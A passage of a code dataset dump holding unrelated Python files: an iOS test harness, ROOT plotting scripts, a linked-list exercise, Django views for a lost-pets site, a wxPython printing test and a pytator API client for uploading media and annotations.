all_epg_events.update(self.ms.get_linear_events())\n direction = ('l' if direction == 'r' else 'r')\n else:\n counter = 0\n\n last_all_len = len(all_epg_events)\n all_epg_events.update(added_epg_events)\n if len(all_epg_events) == last_all_len:\n all_counter += 1\n else:\n all_counter = 0\n if all_counter > 50:\n return all_epg_events\n\n self._swipe(direction)\n return self._swipe_epg_and_return_all_content(all_epg_events, added_epg_events, direction, counter, all_counter,\n False)\n\n def _swipe_epg_and_return_some_content(self):\n some_epg_events = {}\n self.get_to(self.EPG)\n for num in range(10, 20):\n some_epg_events.update(self.ms.get_linear_events())\n self._swipe('d')\n return some_epg_events\n\n def explore_epg_and_return_content(self, all=False):\n if all:\n return self._swipe_epg_and_return_all_content()\n else:\n return self._swipe_epg_and_return_some_content()\n\n\n# test the device\nif __name__ == '__main__':\n import sys\n\n my_device = ios_device()\n my_device.millestones_ipv4_host = '10.149.212.210:8080'\n my_device.ios_mac_ipv4_host = '10.149.213.207:5050'\n my_device.ios_starting_project = 'NET'\n my_device.ios_mac_workspace = \"/Users/ezragenuth/joel2/VE-Tests-Copy/ec_utils/ios/KDManager/KDManager.xcworkspace/\"\n my_device.ios_device_id = \"3b2bffe07e2b00bb0158522dafe4706817647d55\"\n\n environment_parameters_file = '/home/dfly/pct/projects/NET/conftest/confenv.ini'\n set_up_params = {\"ipv4_host\": my_device.millestones_ipv4_host,\n 'environment_parameters_file': environment_parameters_file}\n my_device.ms = MilestonesConnect(set_up_params)\n my_device.CONFIRM_B = \"OK\"\n\n while True:\n print(\"\\nb = start \\n\"\n \"r = restart \\n\"\n \"l = login \\n\"\n \"o = logout \\n\"\n \"m = get millestone data \\n\"\n \"e = epg \\n\"\n \"h == home \\n\"\n \"q == query \\n\"\n \"s == swipe \\n\"\n \"d == screen details \\n\"\n \"z = end \\n\")\n ch = sys.stdin.read(1)\n if ch == 'b':\n my_device.startDevice()\n elif ch == 'r':\n my_device.restartDevice()\n elif ch == 'l':\n my_device.login('jg1', 'jg1')\n elif ch == 'o':\n my_device.logout()\n elif ch == 'm':\n res = my_device.ms.query()\n my_device.ms._print_tap_elements()\n elif ch == 'e':\n my_device.get_to(ios_device.EPG)\n elif ch == 'h':\n my_device.get_to(ios_device.HOME)\n elif ch == 'q':\n elements = my_device.query()\n print(elements)\n dm = {}\n element = {}\n\n for element in elements['elements']:\n if ('name' in element) and (element['name'] == 'text_view'):\n print(element)\n # dm[ (element['channel_id'],element['title_text'])] = element\n for element in elements['elements']:\n if ('name' in element) and (element['name'] == 'event_view') and ('event_id' in element):\n dm[(element['channel_id'], element['title_text'])] = element\n # for key in dm.keys():\n # print ('{}: {}'.format(key,dm[key]))\n elif ch == 's':\n print(my_device.explore_epg_and_return_content())\n elif ch == 'd':\n print(my_device.ms.get_device_screen_size())\n elif ch == 'z':\n break\n","sub_path":"Learning/PCT/ptf/lib/stage5testcommon/ios_device.py","file_name":"ios_device.py","file_ext":"py","file_size_in_byte":10321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"195467291","text":"# ch7_36.py\nbuyers = [['James', 1030], # 建立買家購買紀錄\n ['Curry', 893],\n ['Durant', 2050],\n ['Jordan', 990],\n ['David', 2110],\n ['Marx', 95050],\n ['Eryn', 5500],\n ['Tommy', 85100],\n ['Kent', 4157],\n ['Katie', 10000],\n ['Joan', 6000],\n ['Iori', 47781],\n ['Bruce', 4796],\n ['Grace', 15000],\n ['Sammy', 7808]]\ngoldbuyers = [] # Gold買家串列\nvipbuyers =[] # VIP買家串列\ninfinitebuyers=[] # Infinite買家串列\nwhile buyers: # 執行買家分類迴圈分類完成迴圈才會結束\n index_buyer = buyers.pop()\n if index_buyer[1] >= 10000: # 用1000圓執行買家分類條件\n infinitebuyers.append(index_buyer)\n elif index_buyer[1] >= 1000:\n vipbuyers.append(index_buyer) # 加入VIP買家串列\n else:\n goldbuyers.append(index_buyer) # 加入Gold買家串列\nprint(\"Infinite買家資料\", infinitebuyers)\nprint(\"VIP 買家資料\", vipbuyers)\nprint(\"Gold買家資料\", goldbuyers)\n\n\n","sub_path":"ch7/ex9.py","file_name":"ex9.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"74473033","text":"#!/usr/bin/python\n\nimport sys\nimport math\nfrom ROOT import *\nfrom plotsUtils import *\n\ndef cL1DistOmtfLayers(canvas):\n c = TCanvas(\"cL1MDistOmtf\",\"cL1DistOmtf\",1000,600)\n canvas.Add(c)\n\n hQ0=gROOT.FindObject(\"hL1DistOmtfLayers\")\n hQ0.SetStats(0)\n hQ0.SetMinimum(0.)\n hQ0.DrawCopy()\n\n h=gROOT.FindObject(\"hL1DistOmtfLayersQ12\")\n h.SetLineColor(1)\n h.DrawCopy('same')\n\n h.SetFillColor(2)\n h.SetFillStyle(3345)\n h.GetXaxis().SetRange(1,6)\n h.DrawCopy('same')\n\n h.SetFillColor(4)\n h.SetFillStyle(3344)\n h.GetXaxis().SetRange(7,10)\n h.DrawCopy('same')\n\n h.SetFillColor(8)\n h.SetFillStyle(3354)\n h.GetXaxis().SetRange(11,18)\n h.DrawCopy('same')\n\n# line = TLine()\n# line.SetLineColor(2)\n# line.DrawLine(5.5,0.5,5.5,vMax)\n c.Update()\n return\n\ndef cL1DistBoard(canvas):\n c = TCanvas(\"cL1DistBoard\",\"cL1DistBoard\",1200,600)\n canvas.Add(c)\n c.Divide(2)\n c.cd(1)\n hE= gROOT.FindObject(\"hL1DistBoardEta\")\n hE.SetStats(0)\n hE.DrawCopy('box text' )\n c.cd(2)\n hP= gROOT.FindObject(\"hL1DistBoardPhi\")\n hP.SetStats(0)\n hP.DrawCopy('box text' )\n c.Update()\n return\n\ndef cL1DistDeltaR(canvas):\n c = TCanvas(\"cL1DistDeltaR\",\"cL1DistDeltaR\",1200,400)\n canvas.Add(c)\n c.Divide(3)\n p1 = c.cd(1)\n h= gROOT.FindObject(\"hL1Dist_DeltaR_Bar\")\n p1.SetLogx() \n h.SetStats(0)\n h.GetXaxis().SetRange(4,20)\n h.DrawCopy('colz')\n p2 = c.cd(2)\n h= gROOT.FindObject(\"hL1Dist_DeltaR_Ove\")\n p2.SetLogx() \n h.SetStats(0)\n h.GetXaxis().SetRange(4,20)\n h.DrawCopy('colz')\n p3 = c.cd(3)\n h= gROOT.FindObject(\"hL1Dist_DeltaR_End\")\n p3.SetLogx() \n h.SetStats(0)\n h.GetXaxis().SetRange(4,20)\n h.DrawCopy('colz')\n\n\ndef plotAll(canvas) :\n cL1DistOmtfLayers(canvas)\n cL1DistBoard(canvas)\n cL1DistDeltaR(canvas)\n return\n\n\n","sub_path":"OmtfAnalysis/test/plots_analysis/plotsL1Dist.py","file_name":"plotsL1Dist.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"365346292","text":"class Snode():\n def __init__(self, valor, next = None, anterior = None):\n self.valor = valor\n self.next = next\n self.anterior = anterior\n\nclass Datos():\n def __init__(self):\n self.dato = None\n\n def agregar_inicio(self, val):\n new_node = Snode(val)\n new_node.next=self.dato\n self.dato=new_node\n if self.dato.next is not None:\n self.dato.next.anterior=self.dato\n return self\n\n def mostrar_datos(self):\n recorrer = self.dato\n while recorrer != None:\n print('*' * 50, '\\n', 'dato\\t', self.dato.valor, '\\n', '-' * 50)\n print('valor\\t', recorrer.valor, '\\nnext\\t', recorrer.next, '\\nanterior\\t', recorrer.anterior, '\\n',\n '*' * 50, '\\n\\n')\n #print('imprimir', recorrer.valor)\n recorrer=recorrer.next\n return self\n\n def remove_from_back(self):\n recorrer = self.dato\n while recorrer.next != None:\n recorrer = recorrer.next\n recorrer.valor = None\n recorrer.next = None\n recorrer.anterior.next = None\n recorrer.anterior = None\n return self\n\n def remove_from_front(self):\n recorrer = self.dato\n self.dato=recorrer.next\n self.dato.anterior=None\n return self\n\n def remove_val(self, val):\n recorrer = self.dato\n while str(recorrer.valor) != val and recorrer.next != None:\n if recorrer.next is not None:\n recorrer=recorrer.next\n if str(recorrer.valor) == str(val) and recorrer.next == None:\n recorrer.anterior.next=recorrer.next\n elif str(recorrer.valor) == str(val) and recorrer.anterior == None:\n self.dato = recorrer.next\n self.dato.anterior = None\n elif str(recorrer.valor) == str(val):\n recorrer.anterior.next=recorrer.next\n recorrer.next.anterior=recorrer.anterior\n else:\n print(\"Valor ingresado no existe\")\n return self\n\n def insert_at(self, position, value):\n recorrer=self.dato\n for x in range(-1, position-1):\n recorrer=recorrer.next\n new_node = Snode(value)\n\n #Agregar datos al final\n if recorrer == None:\n new_node.next = self.dato\n self.dato = new_node\n if self.dato.next is not None:\n self.dato.next.anterior = self.dato\n return self\n\n #Agrega datos al inicio\n elif recorrer.anterior == None:\n new_node.next = self.dato\n self.dato = new_node\n if self.dato.next is not None:\n self.dato.next.anterior = self.dato\n return self\n #Agrega datos al medio\n elif recorrer.anterior != None and recorrer.next != None:\n new_node.next = recorrer.next\n new_node.anterior = recorrer.anterior\n recorrer.anterior.next=new_node\n recorrer.next.anterior=new_node\n else:\n print(\"Posición no válida\")\n return self\n\nlista=Datos()\nlista.agregar_inicio('dato1').agregar_inicio('dato2').agregar_inicio('dato3').agregar_inicio('dato4').agregar_inicio('dato5').insert_at(5,'dato_x').mostrar_datos()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"38124738","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.conf.urls.defaults import patterns\n\nurlpatterns = patterns('fangyibao.apps.testapp.views',\n (r'^$', 'base'),\n (r'^home/$', 'home'),\n\n (r'^polls/$', 'index'),\n (r'^polls/(?P<poll_id>\\d+)/$', 'detail'),\n (r'^paramlize/$', 'paramlize'),\n\n)\n","sub_path":"fangyibao/apps/testapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307159197","text":"import wx\nfrom wx import Printout, PrintData, PAPER_LETTER, PrintDialogData\nfrom wx import Printer as wxPrinter, MessageBox, PrintPreview, PrintDialog\n\nclass Main(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None)\n\nclass Printer(Printout):\n def __init__(self, parent):\n Printout.__init__(self)\n\n self.printer = PrintData()\n\n self.printer.SetPaperId(PAPER_LETTER)\n\n self.parent = parent\n self.y_coord = 15\n\n if self.y_coord == 15:\n self.num_lines_per_page = 50\n elif self.y_coord == 22:\n self.num_lines_per_page = 35\n else:\n self.num_lines_per_page = 25\n\n def Print(self, img):\n self.img = img\n pdd = PrintDialogData()\n pdd.SetPrintData(self.printer)\n printer = wxPrinter(pdd)\n\n if not printer.Print(self.parent, self):\n MessageBox(\"A copy of the rented agreement will not be printed out.\")\n else:\n self.printer_config = PrintData(printer.GetPrintDialogData().GetPrintData())\n\n def OnPrintPage(self, page_num):\n dc = self.GetDC()\n x, y = 25, self.y_coord\n\n if not self.IsPreview():\n y *=4\n\n dc.DrawBitmap(self.img, 0, 0, True)\n return True\n\n def get_page_text(self, page_num):\n lines = self.text.split('\\n')\n lines_for_page = lines[(page_num -1 ) * self.num_lines_per_page: page_num * (self.num_lines_per_page - 1)]\n\n return lines_for_page\n\nif __name__ == \"__main__\":\n app = wx.App(False)\n m = Main()\n printer = Printer(m)\n\n img = wx.Image(\"logo.jpg\")\n img.Rescale(2048, 1204)\n\n pimg = wx.BitmapFromImage(img)\n \n printer.Print(pimg)\n app.MainLoop()\n","sub_path":"img/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"192192062","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required # <---- Para pedir acceso de login a funcionalidades\nfrom Mascotas.models import MascotaPerdida, Barrio, Raza\nfrom .forms import MascotaPerdidaForm, MascotaPerdidaForm_e, CustomUserForm, EditUserForm\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserChangeForm\n\n\n\ndef home(request):\n mascotas = MascotaPerdida.objects.order_by('-id') # <---- mostrar ultimos anuncios al principio\n barrios = Barrio.objects.all()\n razaotros = Raza.objects.filter(tipo='OTRO')\n razasperros = Raza.objects.filter(id__gte=6, id__lte=15)\n razasgatos = Raza.objects.filter(id__gte=16)\n\n data = {\n 'mascotas':mascotas,\n 'barrios':barrios,\n 'razaotros':razaotros,\n 'razasperros':razasperros,\n 'razasgatos':razasgatos\n }\n\n if request.method == 'POST':\n filtro_estado = request.POST.get('filtro_estado')\n filtro_tipo = request.POST.get('filtro_tipo')\n filtro_barrio = request.POST.get('filtro_barrio')\n filtro_raza = request.POST.get('filtro_raza')\n \n if filtro_estado == '' and filtro_tipo == '' and filtro_barrio == '' and filtro_raza =='':\n pass\n \n elif filtro_estado !='' and filtro_tipo =='' and filtro_barrio == '' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado)\n data['mascotas'] = mascotas\n \n elif filtro_estado !='' and filtro_tipo =='' and filtro_barrio == '' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado, raza_id=filtro_raza)\n data['mascotas'] = mascotas\n\n elif filtro_estado !='' and filtro_tipo !='' and filtro_barrio =='' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado, tipo_id=filtro_tipo)\n data['mascotas'] = mascotas\n\n elif filtro_estado !='' and filtro_tipo !='' and filtro_barrio =='' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado, tipo_id=filtro_tipo, raza_id=filtro_raza)\n data['mascotas'] = mascotas\n\n elif filtro_estado == '' and filtro_tipo !='' and filtro_barrio =='' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(tipo_id=filtro_tipo)\n data['mascotas'] = mascotas\n\n elif filtro_estado == '' and filtro_tipo !='' and filtro_barrio !='' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(tipo_id=filtro_tipo, barrio_id=filtro_barrio)\n data['mascotas'] = mascotas\n\n elif filtro_estado != '' and filtro_tipo =='' and filtro_barrio !='' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado, barrio_id=filtro_barrio)\n data['mascotas'] = mascotas\n\n elif filtro_estado != '' and filtro_tipo =='' and filtro_barrio !='' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado, barrio_id=filtro_barrio, raza_id=filtro_raza)\n data['mascotas'] = mascotas\n \n elif filtro_estado == '' and filtro_tipo =='' and filtro_barrio !='' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(barrio_id=filtro_barrio)\n data['mascotas'] = mascotas\n\n elif filtro_estado == '' and filtro_tipo =='' and filtro_barrio =='' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(raza_id=filtro_raza)\n data['mascotas'] = mascotas\n\n elif filtro_estado == '' and filtro_tipo !='' and filtro_barrio =='' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(tipo_id=filtro_tipo, raza_id=filtro_raza)\n data['mascotas'] = mascotas\n\n elif filtro_estado == '' and filtro_tipo !='' and filtro_barrio !='' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(tipo_id=filtro_tipo, barrio_id=filtro_barrio, raza_id=filtro_raza)\n data['mascotas'] = mascotas\n\n elif filtro_estado == '' and filtro_tipo =='' and filtro_barrio !='' and filtro_raza !='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(barrio_id=filtro_barrio, raza_id=filtro_raza)\n data['mascotas'] = mascotas\n \n elif filtro_estado !='' and filtro_tipo !='' and filtro_barrio !='' and filtro_raza =='':\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado, tipo_id=filtro_tipo, barrio_id=filtro_barrio)\n data['mascotas'] = mascotas\n\n else:\n mascotas = MascotaPerdida.objects.order_by('-id').filter(estado=filtro_estado,\n tipo_id=filtro_tipo,\n barrio_id=filtro_barrio,\n raza_id=filtro_raza)\n data['mascotas'] = mascotas\n\n return render(request, 'home.html', data)\n\n\n@login_required\ndef nuevo_ingreso_perdido(request):\n data = {\n 'form':MascotaPerdidaForm() # <---- formulario vacio para rellenar\n }\n\n if request.method == 'POST': # <---- si enviamos elementos de formulario entra en el 'if'\n formulario = MascotaPerdidaForm(request.POST, files=request.FILES) # <---- metemos los elementos en el formulario\n \n if formulario.is_valid():\n formulario.save() # <---- si se validan los datos, se guarda y se envia al servidor\n return redirect(to='verificar_publicacion')\n data['form'] = formulario # <---- para ingresar las validaciones .forms.py> Alerta_fecha\n return render(request, 'nuevo_ingreso_perdido.html', data)\n\n\n@login_required\ndef nuevo_ingreso_encontrado(request):\n data = {\n 'form_e':MascotaPerdidaForm_e() # <---- formulario vacio para rellenar\n }\n\n if request.method == 'POST': # <---- si enviamos elementos de formulario entra en el 'if'\n formulario_e = MascotaPerdidaForm_e(request.POST, files=request.FILES) # <---- metemos los elementos en el formulario\n\n if formulario_e.is_valid():\n formulario_e.save() # <---- si se validan los datos, se guarda y se envia al servidor\n return redirect(to='verificar_publicacion')\n data['form_e'] = formulario_e\n return render(request, 'nuevo_ingreso_encontrado.html', data)\n\n\ndef Verificar_publicaciones_subidas(request):\n return render(request, 'verificar_publicacion_subida.html')\n\n\n@login_required\ndef Listado_publicaciones(request):\n listado = MascotaPerdida.objects.order_by('-id')\n data = {\n 'listado': listado\n }\n return render(request, 'listado_publicaciones.html', data)\n\n@login_required\ndef Modificar_publicaciones(request, id):\n modificar = MascotaPerdida.objects.get(id=id)\n data = {\n 'form': MascotaPerdidaForm(instance=modificar)\n }\n\n if request.method == 'POST':\n formulario = MascotaPerdidaForm(data=request.POST, files=request.FILES, instance=modificar)\n if formulario.is_valid():\n formulario.save()\n return redirect(to='listado_publicaciones')\n data['form'] = formulario\n\n return render(request, 'modificar_publicaciones.html', data)\n\n@login_required\ndef edituser(request):\n data = {\n 'form':EditUserForm(instance=request.user)\n }\n if request.method == 'POST':\n formulario = EditUserForm(request.POST, instance=request.user)\n if formulario.is_valid():\n formulario.save()\n return redirect(to='edituser')\n\n\n return render(request, 'registration/edituser.html', data)\n\n@login_required\ndef Eliminar_publicacion(request, id):\n publicacion = MascotaPerdida.objects.get(id=id)\n publicacion.delete()\n\n return redirect(to=\"listado_publicaciones\")\n\n@login_required\ndef Finalizar(request, id):\n publicacion = MascotaPerdida.objects.get(id=id)\n publicacion.estado='FINALIZADO' #Cambia estado a FINALZIADO\n publicacion.save()\n\n return redirect(to=\"listado_publicaciones\")\n\n\ndef Ver_publicacion(request, id):\n publicacion = MascotaPerdida.objects.get(id=id)\n data = {\n 'publicacion': publicacion\n }\n return render(request, 'ver_publicacion.html', data)\n\n\ndef Ver_historial(request, id):\n publicacion = MascotaPerdida.objects.get(id=id)\n data = {\n 'publicacion': publicacion\n }\n return render(request, 'Ver_historial.html', data)\n\n\ndef registro_usuario(request):\n data = {\n 'form': CustomUserForm()\n }\n\n if request.method == 'POST':\n formulario = CustomUserForm(request.POST)\n if formulario.is_valid():\n formulario.save()\n #autenticar al usuario y redirigir al inicio\n email = formulario.cleaned_data['email']\n username = formulario.cleaned_data['username']\n password = formulario.cleaned_data['password1']\n user = authenticate(email=email, username=username, password=password)\n login(request, user)\n return redirect(to='home')\n\n return render(request, 'registration/registrar.html', data)\n\n\ndef historial(request):\n historial = MascotaPerdida.objects.filter(estado='FINALIZADO').order_by('-id') # <---- mostrar ultimos anuncios al principio\n data = {\n 'historial':historial\n }\n return render(request, 'historial.html', data)\n\n\n","sub_path":"Mascotasperdidas/Mascotasperdidas/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"581094182","text":"import json\nimport math\nimport requests\nimport time\nimport os\nimport progressbar\n\nfrom pytator.md5sum import md5_sum\nfrom itertools import count\nfrom tusclient.client import TusClient\nfrom urllib.parse import urljoin\nfrom urllib.parse import urlsplit\nfrom uuid import uuid1\n\n\"\"\" API Implementation details \"\"\"\n\nclass APIElement:\n def __init__(self, api):\n self.url = api[0].rstrip('/')\n self.token = str(api[1])\n self.project = str(api[2])\n self.headers={\"Authorization\" : \"Token {}\".format(self.token),\n \"Content-Type\": \"application/json\"}\n\n def getMany(self, endpoint, params):\n obj = None\n try:\n response=requests.get(self.url + \"/\" + endpoint+\"/\"+self.project,\n params=params,\n headers=self.headers)\n if response.status_code == 200:\n jsonList=response.json()\n if (len(jsonList) >= 1):\n obj = jsonList\n except Exception as e:\n print(e)\n finally:\n return obj\n def getSingleElement(self, endpoint, params):\n listObj=self.getMany(endpoint, params)\n if listObj != None and len(listObj) > 0:\n return listObj[0]\n else:\n return None\n\n def newSingleElement(self, endpoint, obj):\n response=requests.post(self.url + \"/\" + endpoint+\"/\"+self.project,\n json=obj,\n headers=self.headers)\n if response.status_code >= 300 or response.status_code < 200:\n try:\n msg=response.json()\n print(\"Error: {}\\nDetails: {}\".format(msg['message'],\n msg['details']))\n except:\n print(\"Error: {}\".format(response.text))\n\n return (response.status_code, response.json())\n\nclass Media(APIElement):\n def __init__(self, api):\n super().__init__(api)\n split=urlsplit(self.url)\n self.tusURL=urljoin(\"https://\"+split.netloc, \"files/\")\n\n def downloadFile(self, element, out_path):\n #Use streaming mp4 unless original is present\n url=element['url']\n if element['original_url']:\n url=element.original_url\n\n # Supply token here for eventual media authorization\n with requests.get(url, stream=True, headers=self.headers) as r:\n r.raise_for_status()\n with open(out_path, 'wb') as f:\n for chunk in r.iter_content(chunk_size=8192):\n if chunk:\n f.write(chunk)\n\n def uploadFile(self, typeId, filePath, waitForTranscode=True, progressBars=True, md5=None,section=None):\n if md5==None:\n md5 = md5_sum(filePath)\n upload_uid = str(uuid1())\n upload_gid = str(uuid1())\n fname=os.path.basename(filePath)\n if section is None:\n section=\"New Files\"\n\n found=self.byMd5(md5)\n if found:\n print(f\"File with {md5} found in db ({found['name']})\")\n return False\n\n tus = TusClient(self.tusURL)\n chunk_size=1*1024*1024 # 1 Mb\n uploader = tus.uploader(filePath, chunk_size=chunk_size)\n num_chunks=math.ceil(uploader.file_size/chunk_size)\n if progressBars:\n bar=progressbar.ProgressBar(prefix=\"Upload\",redirect_stdout=True)\n else:\n bar=progressbar.NullBar()\n\n for _ in bar(range(num_chunks)):\n uploader.upload_chunk()\n\n # Initiate transcode.\n out = requests.post(self.url + '/Transcode'+\"/\"+self.project,\n headers=self.headers,\n json={\n 'type': typeId,\n 'uid': upload_uid,\n 'gid': upload_gid,\n 'url': uploader.url,\n 'name': fname,\n 'section': section,\n 'md5': md5,\n })\n try:\n print(\"{}, {}\".format(fname, out.json()['message']))\n out.raise_for_status()\n except Exception as e:\n print(\"Error: '{}'\".format(out.text))\n return False\n\n if waitForTranscode == True:\n # Poll for the media being created every 5 seconds\n if progressBars:\n bar=progressbar.ProgressBar(prefix=\"Transcode\",redirect_stdout=True)\n else:\n bar=progressbar.NullBar()\n\n #check quickly for the 1st half second then go slow\n for i in bar(count()):\n if i % 2 == 0:\n media=self.byMd5(md5)\n if media:\n bar.finish()\n break\n else:\n if i < 20:\n time.sleep(0.1)\n else:\n print(\"Waiting for transcode...\")\n time.sleep(2.5)\n\n return True\n\n def byMd5(self, md5):\n return self.getSingleElement(\"EntityMedias\", {\"md5\": md5})\n\n def byName(self, name):\n return self.getSingleElement(\"EntityMedias\", {\"name\": name})\n\n def byId(self, id):\n return self.getSingleElement(\"EntityMedias\", {\"media_id\": id})\n\n def applyAttribute(self, media_id, attributes):\n patchUrl=f\"EntityMedia/{media_id}\"\n response = requests.patch(self.url+\"/\"+patchUrl,\n json={\"attributes\":attributes},\n headers=self.headers)\n if response.status_code != 200:\n try:\n msg=response.json()\n print(\"Error: {}\\nDetails: {}\".format(msg['message'],\n msg['details']))\n except:\n print(f\"Error: {response.status_code}\\n{response.content}\")\n\n return False\n else:\n return True\n\n\nclass LocalizationType(APIElement):\n def __init__(self, api):\n super().__init__(api)\n\n def byTypeId(self, typeId):\n return self.getSingleElement(\"LocalizationTypes\", {\"type\": typeId})\n\nclass StateType(APIElement):\n def __init__(self, api):\n super().__init__(api)\n\n def byTypeId(self, typeId):\n return self.getSingleElement(\"EntityStateTypes\", {\"type\": typeId})\n\nclass State(APIElement):\n def __init__(self, api):\n super().__init__(api)\n def byAttr(self, key, value):\n lookup=f\"{key}::{value}\"\n return self.getSingleElement(\"EntityStates\", {\"attribute\": lookup})\n def add(self, typeId, medias, attrs, localizations=[]):\n #Make it a list for uniformity\n obj={}\n if type(medias) is list:\n obj[\"media_ids\"] = medias\n elif type(medias) is int:\n obj[\"media_ids\"] = [medias]\n\n obj[\"type\"]=typeId\n obj[\"localization_ids\"]=localizations\n obj.update(attrs)\n (code, json) = self.newSingleElement(\"EntityStates\", obj)\n # TODO: Should we return something more than 200 back from serfver?\n return code == 200\n\nclass Track(State):\n def __init__(self, api):\n super().__init__(api)\n\n def addLocalizations(self, trackObj, localizations):\n associationId=trackObj[\"association\"][\"id\"]\n newLocalSet=set(trackObj[\"association\"][\"localizations\"])\n if type(localizations) is list:\n for local in localizations:\n newLocalSet.add(local)\n else:\n newLocalSet.add(localizations)\n\n print(f\"Adding {localizations}, result = {list(newLocalSet)}\")\n obj={\"localizations\" : list(newLocalSet)}\n patchUrl=f\"LocalizationAssociation/{self.project}/{associationId}\"\n response=requests.patch(self.url+\"/\"+patchUrl,\n json=obj,\n headers=self.headers)\n if response.status_code != 200:\n try:\n msg=response.json()\n print(\"Error: {}\\nDetails: {}\".format(msg['message'],\n msg['details']))\n except:\n print(f\"Error: {response.status_code}\\n{response.content}\")\n\n return None\n else:\n trackObj[\"association\"][\"localizations\"] = list(newLocalSet)\n return trackObj\n\nclass Localization(APIElement):\n def __init__(self, api):\n super().__init__(api)\n\n def add(self, mediaId, typeId, attrs):\n obj={\"media_id\" : mediaId,\n \"type\" : typeId}\n obj.update(attrs)\n (code, json) = self.newSingleElement(\"Localizations\", obj)\n if code == 200:\n return json\n else:\n return None\n\n def getMany(self, mediaId, typeId):\n return super().getMany(\"Localizations\", {'media_id': mediaId,\n 'type': typeId})\n\n def addMany(self, listObj):\n response=requests.post(self.url+\"/Localizations\"+\"/\"+self.project,\n json={\"many\":listObj},\n headers=self.headers)\n\n if response.status_code < 200 or response.status_code >= 300:\n msg=response.json()\n print(\"Error: {}\\nDetails: {}\".format(msg['message'],\n msg['details']))\n return (response.status_code, response.json())\n\n def query(self, params):\n response=requests.get(self.url+\"/Localizations/\"+self.project,\n params=params,\n headers=self.headers)\n if response.status_code != 200:\n msg=response.json()\n print(\"Error: {}\\nDetails: {}\".format(msg['message'],\n msg['details']))\n return (response.status_code, response.json())\n\nclass TreeLeaf(APIElement):\n def __init__(self, api):\n super().__init__(api)\n\n def isPresent(self, name):\n response=self.getSingleElement(\"TreeLeaves\", {\"name\": name})\n #\"project\": self.project})\n return response != None\n\n def tree(self, ancestor):\n return self.getMany(\"TreeLeaves\", {\"ancestor\": ancestor})\n\n def addIfNotPresent(self, name, parent, typeid, attr=None):\n if self.isPresent(name):\n print(f\"{name} found in DB, skipping\")\n return True\n\n parentId=None\n # Resolve parent to id\n if type(parent) is str:\n parentObj=self.getSingleElement(\"TreeLeaves\", {\"name\": parent})\n #\"project\": self.project})\n if parentObj == None:\n raise Exception(f'Unknown parent! ({parent})')\n else:\n parentId=parentObj['id']\n\n obj={\"type\": typeid,\n \"name\": name,\n \"parent\": parentId,\n #\"project\": self.project, # TODO BROKEN due to REST API\n #TODO: This following line is wrong, just to work around broken Rest API\n \"path\": None}\n if attr:\n # Flatten out attributes to be part of the object\n obj = {**obj,**attr}\n\n (code, json) = self.newSingleElement(\"TreeLeaves\", obj)\n if code == 200:\n obj=self.getSingleElement(\"TreeLeaves\", {\"name\": name}) #TODO: Fix after rest\n #\"project\": self.project})\n\n # Temp fix for broken rest api\n print(f\"Patching attributes = {attr}\")\n attributes={\"attributes\": attr}\n response=requests.patch(self.url+\"/TreeLeaf/{}/{}\".format(self.project,obj['id']),\n json=attributes,\n headers=self.headers)\n return response.status_code==200\n else:\n print(f\"Return = {code}, {json}\")\n return False\n","sub_path":"scripts/packages/pytator/pytator/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":12046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"644616082","text":"from django.urls import path\nfrom .views import PromotionsListView, PromotionsCreateView, PromotionsDetail\n\n\napp_mane = 'Promotions'\nurlpatterns = [\n path('create/', PromotionsCreateView.as_view()),\n path('all', PromotionsListView.as_view()),\n path('detail/<str:slug>', PromotionsDetail.as_view())\n]\n","sub_path":"promotions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"508531473","text":"import datetime\nimport gc\nimport os\n\nimport keras.backend as K\nimport numpy as np\nfrom Experiment.accuracy import accuracy\nfrom Experiment.common import (\n average,\n convert_to_string,\n make_no_information_flow_map,\n make_output_dictionary_average_accuracy,\n make_results_folder,\n save_output,\n)\nfrom Experiment.common_MLP_health import (\n batch_size,\n 